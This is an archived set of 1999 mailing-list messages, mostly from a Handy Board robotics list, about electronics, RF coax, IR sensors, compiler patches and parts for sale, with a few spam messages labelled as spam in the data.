9 try and restore a connection and execution of my test program ? Did deleting it cause Plan9 to give up on it. Is this some kind of post-mortem feature ? Thanks -Chris ",0,0 Christopher Pane ,Russ Cox ,"Tue, 03 Aug 1999 04:40:30 +0000",Re: [9fans] PC resuming execution of a terminated process on reboot,"Russ Cox wrote: > sounds like the test program is either in your profile or termrc. > that's what restarted it. plan9 does not restore processes nor > does it restore network connections. You know, I think its time to crash for the night, I am definitely fried- I didn't explicitly call my program from termrc or lib BUT ! termrc DOES call the plan 9 test utility! (I forgot about that one!) I happened to name my program test, so when termrc was trying to run it must have been calling my version of test. (It appears before the system version in my namespace since it is in my home directory). Thanks -Chris ",0,0 Joey Sims ,'gilfoyle' ,"Tue, 03 Aug 1999 09:03:28 -0400",RE: ups arrived,"great! The adjustments were made through your purchasing dept. The actual checks showed everything minus the over ordered parts. If your accounts payable has any questions they can contact Jean Lee at (888) 809-1588 x 112 or jean.lee@ponycomputer.com. So yes, they do need to actually pay this invoice. There was no credit b/c the actual payment for the items was exactly what it should have been once the parts (which we did receive) were received. Sincerely, Joey > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Friday, July 30, 1999 10:21 AM > To: Joey.Sims@PonyComputer.com > Subject: ups arrived > > hi joey, > > the ups we ordered arrived this and things now work fine. > we are (even as i write) running 22 out of the 24 cpus full > out doing a simulation of a nuclear reaction:) > > on a more practical level, should we actually pay for this? > you mentioned at one point we had a credit because we double > ordered some stuff in the initial order for the computers. how > much is hte credit (we have our own guess) and how should we > deal with this? > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 SNESS@amcomp.com,handyboard@media.mit.edu,"Tue, 03 Aug 1999 12:06:28 -0400",Fischer Technik parts,"Where would one purchase Fischer Technik parts? ",0,0 """Curt Mills, WE7U"" ","legged-robots@egroups.com, handyboard , Robot Board ","Tue, 03 Aug 1999 10:07:51 -0700","New GCC-HC11 Compiler Patch (Aug 3, 1999)"," Announcing the latest patch to the gcc-2.8.1 compiler to add an HC11 compile target. The latest patches were submitted to me by Dean Huxley. I finished incorporating his fixes and the readme changes this morning at 1am. Changes include Pragma fixes and the saving and restoring of another register during interrupts (important stuff). Also some notes about getting it running on NetBSD. Runs great on RedHat Linux 5.2 already. All free. Handyboard library is under a BSD-style license, the GCC patches are under the GPL license. There's a Miniboard GCC library available as well, but not from me (see the readme). Enjoy! http://www.eskimo.com/~archer or ftp://ftp.eskimo.com/u/a/archer Thanks to Dean for these important fixes! Possibly more to come in the near future. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 """T. Bowman"" ",SNESS@amcomp.com,"Tue, 03 Aug 1999 11:10:56 -0700",Re: Fischer Technik parts,"> Where would one purchase Fischer Technik parts? > I have several of the sensor and walking robot kits for sale (unopened... brand new.. etc). They are identical to the ones you see at www.RobotStore.com only with a different box design. If you are interested, please contact me and maybe we can work something out. Thank you kindly, -Dinh Bowman- ",0,0 """Mihalka, Michael"" ","""'SNESS@amcomp.com '"" , ""'handyboard@media.mit.edu '"" ","Tue, 03 Aug 1999 20:11:38 +0200",RE: Fischer Technik parts," Different places depending on where you live. If you live in the US, one place where you can buy many sets is www.timberdoodle.com (a home schooling site but extremely nice people). Otherwise try the mailorder parts service at www.knobloch-gmbh.de. Michael -----Original Message----- From: SNESS@amcomp.com To: handyboard@media.mit.edu Sent: 8/3/99 6:06 PM Subject: Fischer Technik parts Where would one purchase Fischer Technik parts? ",0,0 Kanti Rone ,HANDYBOARD@MEDIA.MIT.EDU,"Tue, 03 Aug 1999 08:02:31 -0700",Re: your AMBtyEN,"Hi C P X A V V L I r a m A I e A o n b L A v L z a i I G i I a x e U R t S c n M A ra http://www.viseoleave.com I am he that buries his friends alive and drowns them and draws them alive again from the water. I came from the end of a bag, but no bag went over me. These dont sound so creditable, scoffed Smaug. I am the friend of bears and the guest of eagles. I am Ringwinner and Luckwearer; and I am Barrel-rider, went on Bilbo beginning to be ",1,1 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 03 Aug 1999 18:39:25 -0400",Re: EE RF question,"In a message dated 8/2/99 7:38:41 PM Central Daylight Time, mar@cooper.edu writes: > > If you have an RF Transmitter and Receiver with Antennas, can you detach > the antennas and just connect a co-ax cable between them? I'm guessing > this would reduce the noise and interferance to a minumum. Is this right? > > I'm not to clear on what you are describing here. Generally speaking I would say yes, you can slap a piece of coax in without too much loss of function. But you really need to know what type of antenna your feeding, the radio's frequency, the impedance expected at the terminal by the transmitter/receiver. If you wish to read up on it, I suggest going to your local library and finding a book call ""The 19xx ARRL Handbook for radio amateurs"" (where xx is the year of your choice). This book gives you enough information to design your own radios and antennas. If the antennas in questions are just ""rubber ducks"" (short whip antennas), I wouldn't worry too much about the feeding system. Just about any antenna system is better than a rubber duck. The ones that I have seen are just resistors with slightly longer than normal feed lines. Yet these tiny devices can be found on a large number of radios communicating over long distances. Hope this helps, Pherd ",0,0 jf ,"handyboard@media.mit.edu, jonathan.swaby@vpss.gatech.edu, robot-board@cmf.nrl.navy.mil","Tue, 03 Aug 1999 15:59:09 -0700",Re: IR sensors,"I've been using the Miniboard to send and receive IR messages among other things. I find that the board is right on the edges of being fast enough to generate the 40KHz carrier and thus, I don't use it that way. Rather, I use the Miniboard to control, basically turn on and off an auxiliary circuit, either a 555 or a 4060 w/ceramic oscillator, which then runs one or two IR LEDs through a simple transistor circuit at pretty high, but non-steady, amperage, say 1 A, 1.5 A. We took apart a commercial remote and found that the current limiting resistor was very small thus the amps going through the IR LED were pretty high. Be mindful (Jedi saying) that I am not an authority on all this, but merely have had some experience. My method of IR reception (please post if you come up with another) is to use a slight variation of the circuit that comes with those Sharp (or Radio Shack---their website might have it still) modules and hook it to the Pulse Accumulator. Pulses can be long or short with spacing in between. The Pulse Accumulator measures the pulse lenght and discriminates between Noise, Short Pulse and Long Pulse. It also starts a OC interrupt upon the reception of each pulse, which can also be stored. When the OC interrupt kicks in, an end-of-message is assumed. That is, if there is a pause after a bunch of pulses, then that is considered the end of a message and parsing or whatever is done. I find that I can exchange msgs pretty well between two stationary positions, but that movement makes for unreliable reception. I'm using the msgs for timing, so fast receiver action is needed. However, for usual IR remote type applications, or non-time-critical uses, schemes can be implemented to increase robustness. I'm still working with the stuff, so if more details are needed, post again. jfourier@netcom.com ",0,0 Hidekazu Oki ,Jonathan Swaby ,"Tue, 03 Aug 1999 20:12:21 -0400",Re: IR sensors,"To blink LEDs at 40khz, you could try using the 555 timer. Radio Shack carries the 555 timer chip, a little booklet explaining how to use it, and any external components you need. In addition to the 555 chip, you'll just need three resistors and a capacitor to drive that LED. (You will probably not need an external transistor, the 555 chip can output 200mA or up to 600mA, depending on whether or not it is a lower power version or not.) One warning: You can operate the 555 chip at a variety of voltages, but you should make sure not to exceed the recommended voltage and current limit for the LED. If V_in is the voltage you use to operate the 555 chip, you should wire a resistor with resistance R_series in series with the LED before connecting to the output of the 555 timer chip, given the LED's rated voltage is V_led and rated current, I_LED: R_series * I_LED + V_led = V_in Solving for R_series: R_series = (V_in - V_led ) / I_LED If you'd like more detailed plans, I could scribble something up, but the booklet is worth getting anyway, since you'll need to get the 555 chip and a few components anyway. I hope this is helpful.. -Hide ",0,0 """Jose-Afredo D. Esguerra"" ",handyboard@media.mit.edu,"Tue, 03 Aug 1999 22:48:10 -0400",Re: EE RF question,"Pherd, It sounds as though he is planning on patching the output of a RF transmitter to the input of a RF receiver. 73's, Jose -----Original Message----- From: FThompson9@aol.com To: handyboard@media.mit.edu Date: Tuesday, August 03, 1999 7:41 PM Subject: Re: EE RF question >In a message dated 8/2/99 7:38:41 PM Central Daylight Time, mar@cooper.edu >writes: > >> >> If you have an RF Transmitter and Receiver with Antennas, can you detach >> the antennas and just connect a co-ax cable between them? I'm guessing >> this would reduce the noise and interferance to a minumum. Is this right? >> >> > >I'm not to clear on what you are describing here. Generally speaking I would >say yes, you can slap a piece of coax in without too much loss of function. >But you really need to know what type of antenna your feeding, the radio's >frequency, the impedance expected at the terminal by the >transmitter/receiver. If you wish to read up on it, I suggest going to your >local library and finding a book call ""The 19xx ARRL Handbook for radio >amateurs"" (where xx is the year of your choice). This book gives you enough >information to design your own radios and antennas. > If the antennas in questions are just ""rubber ducks"" (short whip >antennas), I wouldn't worry too much about the feeding system. Just about >any antenna system is better than a rubber duck. The ones that I have seen >are just resistors with slightly longer than normal feed lines. Yet these >tiny devices can be found on a large number of radios communicating over long >distances. > >Hope this helps, >Pherd >",0,0 Bogumil Lichtenberger ,handyboard@media.mit.edu,"Tue, 03 Aug 1999 22:53:38 -0700",Re: your CtdALlS,"Hi A L X C P V V m e a I r I A b v n A o A L i i a L z G I e t x I a R U n ra S c A M http://www.upomeres.com Then off they went into another song as ridiculous as the one I have written down in full. At last one, a tall young fellow, came out from the trees and bowed to Gandalf and to Thorin. Welcome to the valley! he said. Thank you! said Thorin a bit gruffly; but Gandalf was already off his horse and among the elves, talking merrily with them. You are a ",1,1 thehahns ,"""Mihalka, Michael"" , SNESS@amcomp.com, handyboard@media.mit.edu","Wed, 04 Aug 1999 13:31:24 -0700",Re: Fischer Technik parts,"Yup, I've boughten from Timberdoodle, and I believe their prices are a bit cheaper than most places, and yeah their service is better than most. --phil -----Original Message----- From: Mihalka, Michael To: 'SNESS@amcomp.com ' ; 'handyboard@media.mit.edu ' Date: Tuesday, August 03, 1999 11:59 AM Subject: RE: Fischer Technik parts > Different places depending on where you live. If you live in the US, one >place where you can buy many sets is www.timberdoodle.com (a home schooling >site but extremely nice people). Otherwise try the mailorder parts service >at www.knobloch-gmbh.de. > >Michael > >-----Original Message----- >From: SNESS@amcomp.com >To: handyboard@media.mit.edu >Sent: 8/3/99 6:06 PM >Subject: Fischer Technik parts > >Where would one purchase Fischer Technik parts? >",0,0 MAR ERICSON ,"""Jose-Afredo D. Esguerra"" ","Wed, 04 Aug 1999 18:23:13 -0400",Re: EE RF question,"Yes, that is what I'm trying to do. I think that this would eliminate interferance. Though the price is tethered operation. I guess it doesn't really have to be a coax. It can just be an RCA A/V cable right? Or how about a single wire! ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 3 Aug 1999, Jose-Afredo D. Esguerra wrote: > Pherd, > > It sounds as though he is planning on patching the output of a RF > transmitter to the input of a RF receiver. > > 73's, > > Jose > > > > > > -----Original Message----- > From: FThompson9@aol.com > To: handyboard@media.mit.edu > Date: Tuesday, August 03, 1999 7:41 PM > Subject: Re: EE RF question > > > >In a message dated 8/2/99 7:38:41 PM Central Daylight Time, mar@cooper.edu > >writes: > > > >> > >> If you have an RF Transmitter and Receiver with Antennas, can you detach > >> the antennas and just connect a co-ax cable between them? I'm guessing > >> this would reduce the noise and interferance to a minumum. Is this > right? > >> > >> > > > >I'm not to clear on what you are describing here. Generally speaking I > would > >say yes, you can slap a piece of coax in without too much loss of function. > >But you really need to know what type of antenna your feeding, the radio's > >frequency, the impedance expected at the terminal by the > >transmitter/receiver. If you wish to read up on it, I suggest going to > your > >local library and finding a book call ""The 19xx ARRL Handbook for radio > >amateurs"" (where xx is the year of your choice). This book gives you > enough > >information to design your own radios and antennas. > > If the antennas in questions are just ""rubber ducks"" (short whip > >antennas), I wouldn't worry too much about the feeding system. Just about > >any antenna system is better than a rubber duck. The ones that I have seen > >are just resistors with slightly longer than normal feed lines. Yet these > >tiny devices can be found on a large number of radios communicating over > long > >distances. > > > >Hope this helps, > >Pherd > > > >",0,0 """Jose-Afredo D. Esguerra"" ","MAR ERICSON , handyboard@media.mit.edu","Wed, 04 Aug 1999 19:32:13 -0400",Re: EE RF question,"Could this problem be solved in some other way so that you retain the ""wireless"" concept of using RF to transfer data. What is the source of the noise? At what point is the noise entering the system? Is it noise or is the environment absorbing or reflecting the transmitted signal? Can the signal be scrambled/modulated so that the noise(s) are ignored? Are you using the correct length antenna for the frequency? Is this the optimum antenna design for a mobile robot (how about a miniature Yagi directional antenna/possibly a dish antenna to focus the transmitted and reception of the signal?????) The best source for RF stuff would be the newsgroups that pertain to Amateur Radio (HAM radio). One in particular deals with HF (high frequency RF 150 hz to 30 khz) an area that is highly susceptible to noise due to the type of modulation that is currently and widely used ---- AM (Amplitude Modulation). HAMs have also been experimenting with transmitting/receiving digital information via RF for some time now. I'm sure they've got some great ideas on sending and receiving. This is the area of packet radio. Someone may have a an idea on how to modulate the signal so you can isolate it from most noises. I'm sure there is an answer here for u since these guys exchange data on a global scale.....from their cars, ham shacks, attics, and porches using 5 watt handheld transceivers pointed at amateur radio satellites. Think of the noise they have to deal with. The wattage (power) being transmitted by the transmitter will ""probably"" blow the receiver. Next to this, it's an experiement on developing a circuit that can decrease the voltage and or current from the transmitter, if you are intent on a direct connection. Well, I hope this is helpful. KC8MPS, Jose -----Original Message----- From: MAR ERICSON To: Jose-Afredo D. Esguerra Cc: handyboard@media.mit.edu Date: Wednesday, August 04, 1999 6:26 PM Subject: Re: EE RF question >Yes, > >that is what I'm trying to do. I think that this would eliminate >interferance. Though the price is tethered operation. I guess it >doesn't really have to be a coax. It can just be an RCA A/V cable right? >Or how about a single wire! > >----------- >ericson mar >Robotics Consultant >mar@cooper.edu >(212)353-4356 > >Department of Mechanical Engineering >The Cooper Union for the Advancement of Science and Art >------------------------------------------------------- > >On Tue, 3 Aug 1999, Jose-Afredo D. Esguerra wrote: > >> Pherd, >> >> It sounds as though he is planning on patching the output of a RF >> transmitter to the input of a RF receiver. >> >> 73's, >> >> Jose >> >> >> >> >> >> -----Original Message----- >> From: FThompson9@aol.com >> To: handyboard@media.mit.edu >> Date: Tuesday, August 03, 1999 7:41 PM >> Subject: Re: EE RF question >> >> >> >In a message dated 8/2/99 7:38:41 PM Central Daylight Time, mar@cooper.edu >> >writes: >> > >> >> >> >> If you have an RF Transmitter and Receiver with Antennas, can you detach >> >> the antennas and just connect a co-ax cable between them? I'm guessing >> >> this would reduce the noise and interferance to a minumum. Is this >> right? >> >> >> >> >> > >> >I'm not to clear on what you are describing here. Generally speaking I >> would >> >say yes, you can slap a piece of coax in without too much loss of function. >> >But you really need to know what type of antenna your feeding, the radio's >> >frequency, the impedance expected at the terminal by the >> >transmitter/receiver. If you wish to read up on it, I suggest going to >> your >> >local library and finding a book call ""The 19xx ARRL Handbook for radio >> >amateurs"" (where xx is the year of your choice). This book gives you >> enough >> >information to design your own radios and antennas. >> > If the antennas in questions are just ""rubber ducks"" (short whip >> >antennas), I wouldn't worry too much about the feeding system. Just about >> >any antenna system is better than a rubber duck. The ones that I have seen >> >are just resistors with slightly longer than normal feed lines. Yet these >> >tiny devices can be found on a large number of radios communicating over >> long >> >distances. >> > >> >Hope this helps, >> >Pherd >> > >> >> >",0,0 Lionel Tay ,handyboard@media.mit.edu,"Thu, 05 Aug 1999 19:27:46 +0800",Where to find Servo.c/servo.icb Routines,"I am a new handy board user. I need to use the servo.c/servo.icb routines but they are not provided in the diskette. Can anyone tell me where can I just the routines I required ? Thank you very much Lionel ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Thu, 05 Aug 1999 09:25:53 -0400",Re: EE RF question (or Holy Smoke Bat Man! Attenuate that signal!),"In a message dated 8/4/99 5:30:27 PM Central Daylight Time, mar@cooper.edu writes: > > that is what I'm trying to do. I think that this would eliminate > interferance. Though the price is tethered operation. I guess it > doesn't really have to be a coax. It can just be an RCA A/V cable right? > Or how about a single wire! > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > On Tue, 3 Aug 1999, Jose-Afredo D. Esguerra wrote: > > > Pherd, > > > > It sounds as though he is planning on patching the output of a RF > > transmitter to the input of a RF receiver. > > > > 73's, > OH I see! Well, in that case, yes there are some advantages to using coax. Also a single wire will enhance your ""reception"" and my be the easiest thing to try. You might want to avoid ""Coiling"" the unused wire in your system as this would increase the inductance. (This can be handy at time. Hams coil their coax at the base of the tower just after a ground rod as a cheap lightning arrestor. But the gas traps work better.) Coax would give you the best signal to noise ration, but as it is transmission line, will not suffer the high losses (1/d^2) of radiation. You will need to compensate for this by attenuating the signal at some point. Receivers are set up to detect signals in the microvolt range. Transmitters run several volts (depending on the power). Most transmitters and receivers assume an antenna impedance of 50 ohms. Lets assume your receiver wants 5 uV(microvolt) and the transmitter is sending 5V. (To get the actual voltage, look at the power output on the spec sheet, multiply by 50 ohms and take the square root of the product.) We can attenuate the signal by assuming a 50 ohm input to the receiver and simply adding a series resistor to the center conductor of the coax. So: Receiver voltage = (Receiver impedance / Series Impedance) * Transmitter voltage 5uV = (50/X) * 5V -> X = 1Mohm Substitute your own numbers, but a 1 MegOhm resistor should keep the smoke from coming out of the chips. Hope this helps, Pherd ",0,0 Will Bain ,Handyboard Mailing List ,"Thu, 05 Aug 1999 09:38:08 -0600",Re: Where to find Servo.c/servo.icb Routines,"Lionel Tay wrote: > I am a new handy board user. > I need to use the servo.c/servo.icb routines but they are not provided in > the diskette. > Can anyone tell me where can I just the routines I required ? The servo software can be found (along with a TON of other good stuff) on the Handy Board web site: http://el.www.media.mit.edu/groups/el/projects/handy-board/ Click on the Software menu item, then on the Libraries menu item, then on the Dual Servo Routines link. And welcome to the club! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Americans detest all lies except Will Bain, lies spoken in public or printed lies. & Tatoosh --Ed Howe ",0,1 Genesys - Ing en Sistemas ,handyboard@media.mit.edu,"Thu, 05 Aug 1999 13:29:07 -0300",I sell Handyboard.,"I sell 10 assembled and working handyboard with dallas NVRam(battery self backed ram) in place of standard ram (no need external battery) and without lcd display and without ld293d parts. I´m just listening oferts. Thanks in advance. Germán Gentile. ",0,0 MAR ERICSON ,FThompson9@aol.com,"Thu, 05 Aug 1999 12:44:14 -0400",Re: EE RF question (or Holy Smoke Bat Man! Attenuate that signal!),"I can measure teh resistance too, right? To make sure it's 50 ohms. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Thu, 5 Aug 1999 FThompson9@aol.com wrote: > In a message dated 8/4/99 5:30:27 PM Central Daylight Time, mar@cooper.edu > writes: > > > > > that is what I'm trying to do. I think that this would eliminate > > interferance. Though the price is tethered operation. I guess it > > doesn't really have to be a coax. It can just be an RCA A/V cable right? > > Or how about a single wire! > > > > ----------- > > ericson mar > > Robotics Consultant > > mar@cooper.edu > > (212)353-4356 > > > > Department of Mechanical Engineering > > The Cooper Union for the Advancement of Science and Art > > ------------------------------------------------------- > > > > On Tue, 3 Aug 1999, Jose-Afredo D. Esguerra wrote: > > > > > Pherd, > > > > > > It sounds as though he is planning on patching the output of a RF > > > transmitter to the input of a RF receiver. > > > > > > 73's, > > > OH I see! > > Well, in that case, yes there are some advantages to using coax. Also a > single wire will enhance your ""reception"" and my be the easiest thing to try. > You might want to avoid ""Coiling"" the unused wire in your system as this > would increase the inductance. (This can be handy at time. Hams coil their > coax at the base of the tower just after a ground rod as a cheap lightning > arrestor. But the gas traps work better.) > Coax would give you the best signal to noise ration, but as it is > transmission line, will not suffer the high losses (1/d^2) of radiation. You > will need to compensate for this by attenuating the signal at some point. > Receivers are set up to detect signals in the microvolt range. Transmitters > run several volts (depending on the power). Most transmitters and receivers > assume an antenna impedance of 50 ohms. Lets assume your receiver wants 5 > uV(microvolt) and the transmitter is sending 5V. (To get the actual voltage, > look at the power output on the spec sheet, multiply by 50 ohms and take the > square root of the product.) We can attenuate the signal by assuming a 50 > ohm input to the receiver and simply adding a series resistor to the center > conductor of the coax. So: > > Receiver voltage = (Receiver impedance / Series Impedance) * Transmitter > voltage > > 5uV = (50/X) * 5V -> X = 1Mohm > > Substitute your own numbers, but a 1 MegOhm resistor should keep the smoke > from coming out of the chips. > > Hope this helps, > Pherd > ",0,0 MAR ERICSON ,FThompson9@aol.com,"Thu, 05 Aug 1999 12:40:44 -0400",Re: EE RF question (or Holy Smoke Bat Man! Attenuate that signal!),"Thanks! Thanks everyone else for those woderful responses too! One question: Can't I probe the antenna with an ocsilloscope for the voltage? I don't have the spec sheets. :) ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Thu, 5 Aug 1999 FThompson9@aol.com wrote: > In a message dated 8/4/99 5:30:27 PM Central Daylight Time, mar@cooper.edu > writes: > > > > > that is what I'm trying to do. I think that this would eliminate > > interferance. Though the price is tethered operation. I guess it > > doesn't really have to be a coax. It can just be an RCA A/V cable right? > > Or how about a single wire! > > > > ----------- > > ericson mar > > Robotics Consultant > > mar@cooper.edu > > (212)353-4356 > > > > Department of Mechanical Engineering > > The Cooper Union for the Advancement of Science and Art > > ------------------------------------------------------- > > > > On Tue, 3 Aug 1999, Jose-Afredo D. Esguerra wrote: > > > > > Pherd, > > > > > > It sounds as though he is planning on patching the output of a RF > > > transmitter to the input of a RF receiver. > > > > > > 73's, > > > OH I see! > > Well, in that case, yes there are some advantages to using coax. Also a > single wire will enhance your ""reception"" and my be the easiest thing to try. > You might want to avoid ""Coiling"" the unused wire in your system as this > would increase the inductance. (This can be handy at time. Hams coil their > coax at the base of the tower just after a ground rod as a cheap lightning > arrestor. But the gas traps work better.) > Coax would give you the best signal to noise ration, but as it is > transmission line, will not suffer the high losses (1/d^2) of radiation. You > will need to compensate for this by attenuating the signal at some point. > Receivers are set up to detect signals in the microvolt range. Transmitters > run several volts (depending on the power). Most transmitters and receivers > assume an antenna impedance of 50 ohms. Lets assume your receiver wants 5 > uV(microvolt) and the transmitter is sending 5V. (To get the actual voltage, > look at the power output on the spec sheet, multiply by 50 ohms and take the > square root of the product.) We can attenuate the signal by assuming a 50 > ohm input to the receiver and simply adding a series resistor to the center > conductor of the coax. So: > > Receiver voltage = (Receiver impedance / Series Impedance) * Transmitter > voltage > > 5uV = (50/X) * 5V -> X = 1Mohm > > Substitute your own numbers, but a 1 MegOhm resistor should keep the smoke > from coming out of the chips. > > Hope this helps, > Pherd > ",0,0 """Curt Mills, WE7U"" ","legged-robots@egroups.com, handyboard , Robot Board ","Thu, 05 Aug 1999 13:39:26 -0700",Newer GCC-HC11 Compiler Patch,"On Tue, 3 Aug 1999, Curt Mills, WE7U wrote: > Announcing the latest patch to the gcc-2.8.1 compiler to add an Well, guess what? After posting a question on the crossgcc list and also posting my announcement on Freshmeat, along comes someone with a pointer to what appears to be a newer, better version of the GCC compiler for HC11 (based on the EGCS compiler). This guy uses the GNU toolchain, and looks like he has floating point and the whole bit. Just thought you guys would like to know. http://home.worldnet.fr/stcarrez/m68hc11_port.html I added a pointer to it from my home page also. For those who don't know, the EGCS source tree became the official GCC source tree, so gcc-2.9.5 IS EGCS. -- Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 Bob Kelly ,handyboard@media.mit.edu,"Thu, 05 Aug 1999 17:04:03 -0400",Completed robot for sale,"Hello all, I have a completed robot for sale that contains the following components: 1 Handy Board and interface board with battery pack and charger(Patrick Hui and Radio Shack for batt and chgr) 1 Expansion Board (Gleason) 2 12-24v gearhead motors modified to provide faster output by removing one gear in power train (Acroname surplus item). Removed gears will be included, the mod is reversible. 2 Four inch inflatable tires as purchased from a local R/C aircraft store. Smooth tread and include an adapter fashioned from a surplus aluminum gear that mounts directly to gearmotors. 2 Hamatsu IR detectors for use as wheel encoders. I think I have 2 more that I didn't actually use on the 'bot. 2 R/C aircraft servos 1 Polaroid 6500 sonar ranging module and sender 1 Motion sensor purchased from Acroname (Eltec somthing or other check thier web site) 1 Sharp IR ranging sensor GP2D02 1 Lynxmotion IR object detector kit assembled and working 2 Photo sensors 4 National Semiconductor LMD18200 (I think) - not used on 'bot 2 12v Radio Shack camcorder batteries for motor power Description of robot: Base constructed out of 1/8"" Lynxmotion yellow sheet stock approx the size of a 8 1/2"" x 11"" sheet of paper. Rounded corners. Dual motor drive with trailing caster (R/C aircraft tail wheel 1 1/2"" dia.). Sonar and GP2D02 mounted on pan/tilt mechanism on front right (""passenger"" side in the U.S.) with IR object detector mounted on top surface of base centerd on the front of the 'bot. The motion sensor cone is position a little farther back from the pan/tilt ranging head and on the left side of the 'bot, not blocked by the ranging head. The base was constructed using a CAD drawing overlaid on the sheet stock and cut with a band saw. The wheels are recessed within the profile of the 'bot as you look down from directly above but they do break the outline by about 1/4"". The motor mounts are made of the same sheet material as is the pan/tilt framework and are very sturdy. The servos are mounted side by side behind the IR object detector with the pan/tilt frame mounted directly on the right one for the ""pan"" movement (+90deg to -90 deg), the left one operates a flexible pushrod (from hobby store) that allows up and down movement (-15deg down to about +35deg up). The HBoard battery is mounted directly on the front underside of the base. One of the camcorder batteries is mounted between the front wheels and the caster mount with the second mounted on top of the base directly behind the HBoard and Expansion board. The ""brains"" are mounted with standoffs on the centerline of the top surface of the base and behind the drive wheels. The sonar module is mounted on the top of the base and to the right and under the the ""brains"". Everything works and operates and it currently has programs loaded that will allow it to do simple wall following and photo avoidance or seeking. I do still have mild difficulty getting consistent readings from sonar sensor. The wheel encoders give 64 tic per revolution resolution using a paper stripe disc mounted directly to the inside of the wheels. All related software (registered version) is included. The only physical modification is to the h-bridge motor drivers and is reversible. I double stacked the existing chips with two more chips and fed in the two camcorder batteries. I don't remember the part numbers but the existing ones are the kind that came with the Patrick Hui board and the ones on top are the higher capacity kind that come with the Gleason board and I do not have problems with overheating. I think I even have one extra that would go with it. As it is, the robot would be good for someone who just wants to program and doesn't want to fiddle with building. There is still room to mount additional sensors and electronics. It could use some bump sensors, for instance. It was built in a workmanlike manner and looks good without a buch of wires sticking out all over the place. I am selling it due to lack of time (I have a new son). I estimate that I have at least $650.00 in the parts that are either on it or that I will include with it. Please contact me if you are interested. Thank you, Bob Kelly ",0,0 Satish Chetty ,handyboard@media.mit.edu,"Fri, 06 Aug 1999 07:48:59 +1000",FAQ on extra motor power source,"Hi All, Since I am not expert in electronics, I have a question regarding the use of a transistor or thyristor. If I use a power source of say 20V to power one of those high Amp DC motors, why can't I introduce transistor or thyristor between one of the terminals of the motor and power source and use the motor outputs of HB to fire the thyristor/transistor? I was reading the FAQs at http://lcs.www.media.mit.edu/groups/el/projects/handy-board/faq/index.html#mpwrplug on ""How can I use motors other than 9 volts with the Handy Board?"" and I want to know why my method will or will not work? Thanks, -Satish. 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It's very simple: The motors aren't connected to +DC and ground, but rather to a complicated circuit (the L293D) which switchs the motor terminals to EITHER dc or ground, depending on the direction of the motor. It acomplishes this thru the use of a transistor bridge (2 for each terminal of the motor, 1 for each direction). So, you would need 4 transistors for each motor, connected to DC and ground (ugh!). ",0,1 """Stinginess V. Currying"" ",Bait ,"Sat, 07 Aug 1999 11:57:11 -0400",Software,"U want to work stable ? just buy licensed WINDOWS here! 75% Off for All New Software. microsoft, adobe, macromedia! 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My main source of > information is the Internet since there isn't much > information on the design aspect of the topic here > (requirements, constraints etc. other than the > obvious). If anyone can help me out with my problem, > it would help me immensely. I have visited the NASA > site and got some information from there. It would > also help if anyone could refer me to someone I can > contact via e-mail. > Thanx for your time and help. > > Sharmila Badkar > This is one topic I could ramble on all day about that and with my writing skills I will write all day. I am assuming architecture in general, buildings cities , industrial and farming and living complexes. That is a wide topic, depending where one is planning to build as you have wide range of environments, including as a contrast underwater environments. Here are 7 links while not architecture give some idea of what transportation into space will be like. You can't build any thing until you can get materials and people into space is my view. If you can figure the what people will be doing in space and how they got there, only then can You design the architecture that may be found in space. Here are some links might be useful. http://members.aol.com/Nathan2go/SPELEV.HTM space hotels http://msia02.msi.se/~lindsey/spaceLinks.html general home page http://www.rotaryrocket.com/ launch vehicle http://www.xprize.org/main.asp more launch vehicles http://www.sciam.com/1999/0299issue/0299beardsley.html space access http://www.bristolspaceplanes.com/home.shtml space plane This will give you some basic payload costs in the near future and size and weight constraints for construction if designs are built and assembled in orbit from prefabricated smallish parts. For larger designs your guess is as good as any. For historical context, http://solar.rtd.utk.edu/%7Emwade/spaceflt.htm and good all around rocket designs this is the place to go. Some people have suggested using boasting the shuttles external fuel tanks into orbit and using them as habitat. The missions planned to mars have some nice ideas as well. ********************************************************************************** Other links http://www.deepcold.com/ space craft never had the ""Right Stuff"" http://www.imax.com/films/distribution/L5.html Imax movie ""L5: FIRST CITY IN SPACE"" http://www.nsseducationchapter.org/ L5 stuff - design of cites in space http://radsite.lbl.gov/radiance/HOME.html ""RADIANCE is UNIX/linux freeware for lighting design and rendering"" http://www.motherearthnews.com/ The best down to earth magazine in the us/canada ********************************************************************************** My own views on the matter of space access and habitat. Those who build the launch vehicles and the ideology that goes with it will decide the architectural design. With out a lower cost sustainable ,3rd world accessible 1980's technology with 2000's design globally planned unmanned reusable launch vehicle the 250-750kg payload range; I don't see real growth into space. This could be upgraded to about 1500 kg for liquid or bulk material. I picked such a small size vehicle because it seems to me this size of craft could be owned and operated by small family groups and communities around the world. As a low profit design this will not be competed with by the Large profit making companies. This would permit more individual freedom to design and live in space. A lot of things people want to do in space could be limited by political and economic gains. For Example: When was the last time you had input for a personal computer meets your personal expectations rather than what the software company thinks what is best for you and their shareholders? The 